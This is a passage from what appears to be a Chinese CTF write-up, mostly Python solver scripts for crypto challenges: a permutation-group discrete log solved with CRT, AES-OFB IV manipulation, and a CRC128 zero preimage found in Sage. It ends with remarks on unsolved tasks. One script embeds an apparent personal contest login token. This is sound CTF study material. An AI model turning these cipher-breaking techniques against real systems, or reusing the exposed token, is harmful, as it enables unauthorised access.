<span class="n">result_pp</span><span class="o">=</span><span class="n">loops</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">prime_pp</span><span class="o">=</span><span class="n">primes</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">pp</span> <span class="o">=</span> <span class="n">p</span>
<span class="k">while</span> <span class="n">pp</span> <span class="o"><=</span> <span class="n">i</span><span class="p">:</span>
<span class="n">new_hi</span><span class="o">=</span><span class="p">(</span><span class="n">pp</span> <span class="k">if</span> <span class="n">i</span><span class="o">==</span><span class="n">pp</span> <span class="k">else</span> <span class="n">lcm</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="n">pp</span><span class="p">]</span><span class="o">*</span><span class="n">pp</span><span class="p">)</span>
<span class="k">if</span> <span class="n">new_hi</span><span class="o">></span><span class="n">hi</span><span class="p">:</span>
<span class="n">hi</span> <span class="o">=</span> <span class="n">new_hi</span>
<span class="n">result_pp</span> <span class="o">=</span> <span class="p">[</span><span class="o">*</span><span class="n">loops</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="n">pp</span><span class="p">],</span><span class="n">pp</span><span class="p">]</span>
<span class="n">prime_pp</span> <span class="o">=</span> <span class="p">[</span><span class="o">*</span><span class="n">primes</span><span class="p">[</span><span class="n">i</span><span class="o">-</span><span class="n">pp</span><span class="p">],</span><span class="n">p</span><span class="p">]</span>
<span class="n">pp</span> <span class="o">*=</span> <span class="n">p</span>
<span class="n">lcm</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">hi</span>
<span class="n">loops</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">result_pp</span>
<span class="n">primes</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">prime_pp</span>
<span class="k">print</span><span class="p">(</span><span class="n">loops</span><span class="p">[</span><span class="n">length</span><span class="p">],</span><span class="n">primes</span><span class="p">[</span><span class="n">length</span><span class="p">])</span>
<span class="k">return</span> <span class="n">loops</span><span class="p">[</span><span class="n">length</span><span class="p">],</span><span class="n">primes</span><span class="p">[</span><span class="n">length</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">genLoops</span><span class="p">(</span><span class="n">length</span><span class="p">):</span>
<span class="n">loop1</span><span class="p">,</span><span class="n">primes</span><span class="o">=</span><span class="n">genLoopWithInvalidPrimes</span><span class="p">(</span><span class="n">length</span><span class="p">)</span>
<span class="n">loop2</span><span class="p">,</span><span class="n">_</span><span class="o">=</span><span class="n">genLoopWithInvalidPrimes</span><span class="p">(</span><span class="n">length</span><span class="p">,</span><span class="n">primes</span><span class="p">)</span>
<span class="k">return</span> <span class="n">loop1</span><span class="p">,</span><span class="n">loop2</span>
<span class="k">def</span> <span class="nf">permFromLoops</span><span class="p">(</span><span class="n">loops</span><span class="p">,</span><span class="n">length</span><span class="p">):</span>
<span class="n">perm_list</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">loop</span> <span class="ow">in</span> <span class="n">loops</span><span class="p">:</span>
<span class="n">perm_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">perm_list</span><span class="p">)</span><span class="o">+</span><span class="n">loop</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">loop</span><span class="o">-</span><span class="mi">1</span><span class="p">):</span>
<span class="n">perm_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">perm_list</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">perm_list</span><span class="p">),</span><span class="n">length</span><span class="p">)</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">perm_list</span><span class="p">)</span><span class="o"><</span><span class="n">length</span><span class="p">:</span>
<span class="n">perm_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">perm_list</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
<span class="k">return</span> <span class="n">permutation_element</span><span class="p">(</span><span class="n">length</span><span class="p">,</span><span class="n">perm_list</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">collectModVal</span><span class="p">(</span><span class="n">conn</span><span class="p">,</span><span class="n">g</span><span class="p">,</span><span class="n">mods</span><span class="p">,</span><span class="n">vals</span><span class="p">):</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"(a list): "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">g</span><span class="p">),</span><span class="n">encoding</span><span class="o">=</span><span class="s">"utf-8"</span><span class="p">))</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">" : "</span><span class="p">)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">permutation_element</span><span class="p">(</span><span class="n">n</span><span class="p">,</span><span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"]"</span><span class="p">)))</span>
<span class="k">print</span><span class="p">(</span><span class="s">'['</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">standard_tuple</span><span class="p">),</span><span class="s">']'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">std_tuple</span> <span class="ow">in</span> <span class="n">key</span><span class="p">.</span><span class="n">standard_tuple</span><span class="p">:</span>
<span class="n">first</span><span class="o">=</span><span class="n">std_tuple</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">second</span><span class="o">=</span><span class="n">std_tuple</span><span class="p">[</span><span class="mi">1</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">std_tuple</span><span class="p">)</span> <span class="o">></span> <span class="mi">1</span> <span class="k">else</span> <span class="mi">0</span><span class="p">]</span>
<span class="n">mapped_tuple</span><span class="o">=</span><span class="nb">next</span><span class="p">(</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">g</span><span class="p">.</span><span class="n">standard_tuple</span> <span class="k">if</span> <span class="n">first</span> <span class="ow">in</span> <span class="n">x</span><span class="p">)</span>
<span class="n">first_idx</span><span class="o">=</span><span class="n">mapped_tuple</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">first</span><span class="p">)</span>
<span class="n">second_idx</span><span class="o">=</span><span class="n">mapped_tuple</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">second</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"--"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">first_idx</span><span class="p">,</span><span class="n">second_idx</span><span class="p">)</span>
<span class="n">l</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">mapped_tuple</span><span class="p">)</span>
<span class="n">step</span><span class="o">=</span><span class="p">(</span><span class="n">second_idx</span><span class="o">-</span><span class="n">first_idx</span><span class="p">)</span><span class="o">%</span><span class="n">l</span>
<span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span><span class="n">step</span><span class="p">)</span>
<span class="k">if</span> <span class="n">l</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">mods</span><span class="p">:</span>
<span class="n">mods</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">l</span><span class="p">)</span>
<span class="n">vals</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">step</span><span class="p">)</span>
<span class="k">return</span> <span class="n">key</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">15</span><span class="p">):</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"n = "</span><span class="p">)</span>
<span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"upper bound for my private key is "</span><span class="p">)</span>
<span class="n">bound</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="n">n</span><span class="p">,</span><span class="n">bound</span><span class="p">)</span>
<span class="n">loop1</span><span class="p">,</span><span class="n">loop2</span><span class="o">=</span><span class="n">genLoops</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="n">p1</span><span class="o">=</span><span class="n">permFromLoops</span><span class="p">(</span><span class="n">loop1</span><span class="p">,</span><span class="n">n</span><span class="p">)</span>
<span class="n">p2</span><span class="o">=</span><span class="n">permFromLoops</span><span class="p">(</span><span class="n">loop2</span><span class="p">,</span><span class="n">n</span><span class="p">)</span>
<span class="c1"># print(p1,p2)
</span> <span class="n">target</span><span class="o">=</span><span class="n">p1</span><span class="p">.</span><span class="n">order</span><span class="p">()</span><span class="o">*</span><span class="n">p2</span><span class="p">.</span><span class="n">order</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">target</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">bound</span><span class="p">)</span>
<span class="n">mods</span><span class="o">=</span><span class="nb">list</span><span class="p">()</span>
<span class="n">vals</span><span class="o">=</span><span class="nb">list</span><span class="p">()</span>
<span class="n">key1</span><span class="o">=</span><span class="n">collectModVal</span><span class="p">(</span><span class="n">conn</span><span class="p">,</span><span class="n">p1</span><span class="p">,</span><span class="n">mods</span><span class="p">,</span><span class="n">vals</span><span class="p">)</span>
<span class="n">key2</span><span class="o">=</span><span class="n">collectModVal</span><span class="p">(</span><span class="n">conn</span><span class="p">,</span><span class="n">p2</span><span class="p">,</span><span class="n">mods</span><span class="p">,</span><span class="n">vals</span><span class="p">)</span>
<span class="n">result</span><span class="p">,</span><span class="n">modular</span><span class="o">=</span><span class="n">crt</span><span class="p">(</span><span class="n">mods</span><span class="p">,</span><span class="n">vals</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">modular</span><span class="p">,</span><span class="n">target</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">p1</span><span class="o">**</span><span class="n">result</span><span class="o">==</span><span class="n">key1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">p2</span><span class="o">**</span><span class="n">result</span><span class="o">==</span><span class="n">key2</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"prob of correct"</span><span class="p">,</span><span class="nb">min</span><span class="p">(</span><span class="n">target</span> <span class="o">/</span> <span class="n">bound</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">mods</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">vals</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> your answer: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">result</span><span class="p">),</span><span class="n">encoding</span><span class="o">=</span><span class="s">"utf-8"</span><span class="p">))</span>
<span class="n">result</span><span class="o">=</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"d"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">result</span><span class="o">==</span><span class="sa">b</span><span class="s">'Bad'</span><span class="p">:</span>
<span class="nb">exit</span><span class="p">()</span>
<span class="n">conn</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>当然也可以动态规划找两个元素的最大阶,不过那样用 python 写可能效率太慢了,所以没有采取这种方法。</p>
<p>不过编写这个脚本的时候发现 Sympy 的 <code class="language-plaintext highlighter-rouge">crt</code> 函数居然会在有重复的输入的时候错误地给出比预期的模更大的结果,所以生成它的输入的时候做了去重。</p>
<h2 id="不可加密的异世界---疏忽的神">不可加密的异世界 - 疏忽的神</h2>
<p>既然加密的消息还没有 AES 的一个块长,我只需要使用 OFB 模式,让 iv 被 key 加密之后为全零,这样和原文异或之后就和原文一致了。代码如下:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">pwn</span>
<span class="kn">from</span> <span class="nn">Cryptodome.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Cryptodome.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span><span class="p">,</span> <span class="n">unpad</span>
<span class="kn">from</span> <span class="nn">magic_box</span> <span class="kn">import</span> <span class="n">Magic_box</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">pwn</span><span class="p">.</span><span class="n">remote</span><span class="p">(</span><span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">10110</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'<id>:<token></span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> choice: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'1</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> name: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'a</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> algo: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'AES</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> mode: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'OFB</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">message</span><span class="o">=</span><span class="n">pad</span><span class="p">(</span><span class="sa">b</span><span class="s">'aOpen the door!'</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span>
<span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="n">aes</span><span class="o">=</span><span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">iv</span><span class="o">=</span><span class="n">aes</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="o">*</span><span class="mi">16</span><span class="p">)</span>
<span class="n">magic_box</span> <span class="o">=</span> <span class="n">Magic_box</span><span class="p">(</span><span class="s">"AES"</span><span class="p">,</span> <span class="s">"OFB"</span><span class="p">,</span> <span class="n">key</span><span class="o">+</span><span class="n">iv</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">magic_box</span><span class="p">.</span><span class="n">auto_enc</span><span class="p">(</span><span class="n">message</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">message</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> hex keys: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">((</span><span class="n">key</span><span class="o">+</span><span class="n">iv</span><span class="p">).</span><span class="nb">hex</span><span class="p">().</span><span class="n">encode</span><span class="p">()</span><span class="o">+</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="不可加密的异世界---心软的神">不可加密的异世界 - 心软的神</h2>
<p>和上一小题一样,只需要使用 OFB 模式,再让 iv 被 key 加密 n 次之后为全零,这样和原文异或之后第 n 块就和原文一致了。代码如下:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">pwn</span>
<span class="kn">from</span> <span class="nn">Cryptodome.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Cryptodome.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span><span class="p">,</span> <span class="n">unpad</span>
<span class="kn">from</span> <span class="nn">magic_box</span> <span class="kn">import</span> <span class="n">Magic_box</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">pwn</span><span class="p">.</span><span class="n">remote</span><span class="p">(</span><span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">10110</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'911:MEUCIAwRnzmZqFcPjbiKd9wmy3Ipxp7sZ6Qf8xxcKg7wrdOoAiEAlMbxiD12WWHv/Kc4mHHptGSXIc2Argrpa72lrVJA8Ho=</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> choice: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'2</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> name: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'a</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> algo: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'AES</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> mode: "</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'OFB</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"you_pass : "</span><span class="p">)</span>
<span class="n">my_pass</span><span class="o">=</span><span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">].</span><span class="n">decode</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="n">my_pass</span><span class="p">)</span>
<span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="n">aes</span><span class="o">=</span><span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">iv</span><span class="o">=</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="o">*</span><span class="mi">16</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"> hex keys: "</span><span class="p">)</span>
<span class="n">iv</span><span class="o">=</span><span class="n">aes</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">iv</span><span class="p">)</span>
<span class="n">magic_box</span> <span class="o">=</span> <span class="n">Magic_box</span><span class="p">(</span><span class="s">"AES"</span><span class="p">,</span> <span class="s">"OFB"</span><span class="p">,</span> <span class="n">key</span><span class="o">+</span><span class="n">iv</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">magic_box</span><span class="p">.</span><span class="n">auto_enc</span><span class="p">(</span><span class="n">my_pass</span><span class="p">)[</span><span class="n">i</span><span class="o">*</span><span class="mi">16</span><span class="p">:(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="mi">16</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="n">my_pass</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">16</span><span class="p">:(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="mi">16</span><span class="p">])</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">((</span><span class="n">key</span><span class="o">+</span><span class="n">iv</span><span class="p">).</span><span class="nb">hex</span><span class="p">().</span><span class="n">encode</span><span class="p">()</span><span class="o">+</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="不可加密的异世界---严苛的神">不可加密的异世界 - 严苛的神</h2>
<p>什么,要加密两次,那我直接用 DES 的 ECB 模式,再直接塞一个 DES 弱密钥进去不就好了吗。然而,密钥是密文的某种 CRC128,所以我们需要找一个 CRC128 刚好是全 0 的串。众所周知,CRC 的一个比特的变化改变的结果中的比特是确定的,所以我只需要装一个 Sagemath 解一个模 2 的线性方程组就好。代码如下:</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">def</span> <span class="nf">crc128</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">poly</span><span class="o">=</span><span class="mh">0x883ddfe55bba9af41f47bd6e0b0d8f8f</span><span class="p">):</span>
<span class="n">crc</span> <span class="o">=</span> <span class="p">(</span><span class="mi">1</span> <span class="o"><<</span> <span class="mi">128</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="n">crc</span> <span class="o">^=</span> <span class="n">b</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="n">crc</span> <span class="o">=</span> <span class="p">(</span><span class="n">crc</span> <span class="o">>></span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">poly</span> <span class="o">&</span> <span class="o">-</span><span class="p">(</span><span class="n">crc</span> <span class="o">&</span> <span class="mi">1</span><span class="p">))</span>
<span class="k">return</span> <span class="n">crc</span> <span class="o">^</span> <span class="p">((</span><span class="mi">1</span> <span class="o"><<</span> <span class="mi">128</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">u128_to_bytes</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="nb">reversed</span><span class="p">([(</span><span class="n">n</span><span class="o">//</span><span class="p">(</span><span class="mi">256</span><span class="o">**</span><span class="n">i</span><span class="p">))</span><span class="o">%</span><span class="mi">256</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">)]))</span>
<span class="n">c0</span><span class="o">=</span><span class="n">crc128</span><span class="p">(</span><span class="n">u128_to_bytes</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span>
<span class="n">p</span><span class="o">=</span><span class="p">[</span><span class="n">crc128</span><span class="p">(</span><span class="n">u128_to_bytes</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="n">i</span><span class="p">))</span><span class="o">^</span><span class="n">c0</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">)]</span>
<span class="n">F</span><span class="o">=</span><span class="n">Zmod</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">L</span><span class="o">=</span><span class="n">Matrix</span><span class="p">(</span><span class="n">F</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">):</span>
<span class="n">L</span><span class="p">[</span><span class="n">i</span><span class="p">,</span><span class="n">j</span><span class="p">]</span><span class="o">=</span><span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">//</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="n">j</span><span class="p">))</span> <span class="o">%</span> <span class="mi">2</span>
<span class="n">target</span><span class="o">=</span><span class="n">vector</span><span class="p">([(</span><span class="n">c0</span><span class="o">//</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="n">i</span><span class="p">))</span> <span class="o">%</span> <span class="mi">2</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">)])</span>
<span class="n">ans</span><span class="o">=</span><span class="n">L</span><span class="p">.</span><span class="n">solve_left</span><span class="p">(</span><span class="n">vector</span><span class="p">(</span><span class="n">F</span><span class="p">,</span><span class="n">target</span><span class="p">))</span>
<span class="n">val</span><span class="o">=</span><span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">128</span><span class="p">):</span>
<span class="n">val</span><span class="o">+=</span><span class="nb">int</span><span class="p">(</span><span class="n">ans</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">*</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="n">i</span><span class="p">)</span>
<span class="n">val_bytes</span><span class="o">=</span><span class="n">u128_to_bytes</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">val_bytes</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="n">crc128</span><span class="p">(</span><span class="n">val_bytes</span><span class="p">))</span>
</code></pre></div></div>
<p>运行后直接把结果复制到题目里就好。</p>
<p>不过说起来 Sage 官方文档里都说 Windows 用户请使用 WSL 运行,就不能学习 numpy 和 sympy 做一下原生的 Windows 支持么。</p>
<h2 id="关于其他未解出的题目">关于其他未解出的题目</h2>
<p>以上就是我所有解出的题目的 Writeup 了。这里我再大致评论一下我没解出的题目:</p>
<ul>
<li>安全的在线测评 - 动态数据:本来以为是要想办法提权的,结果其实只需要在编译器把文件包含进来就好了,考虑得还不够全面啊。而且第一小题的 flag 里是有提示的,还是看得不够仔细。</li>
<li>二次元神经网络:一看是机器学习就不想做。然而果然作为 web 分类的题目,它的解法是和机器学习本身无关的。之前也是知道 pickle 是能任意命令执行的,没有想到也是不太应该。</li>
<li>惜字如金 - RS384:搜索的时候搜到了 Coppersmith 方法,但是没有仔细研究质数的结构所以没有想到。总之学习了。</li>
<li>矩阵之困:之前翻 HackerNews 的时候有注意到新的矩阵乘法算法,但是完全没有看出来这个题和那个是有关联的。总之学习了。</li>
<li>链上记忆大师 - 牛刀小试:查到了回滚的时候 gas 不会回滚,也想到了对应的思路,然而配环境调试 gas 数量实在是太麻烦了所以没有做。不过官方题解提到了有直接利用题目平台调试的方法,当时还是应该尝试一下的。</li>
<li>链上记忆大师 - 终极挑战:原来可以探测冷热地址啊,学习了。</li>
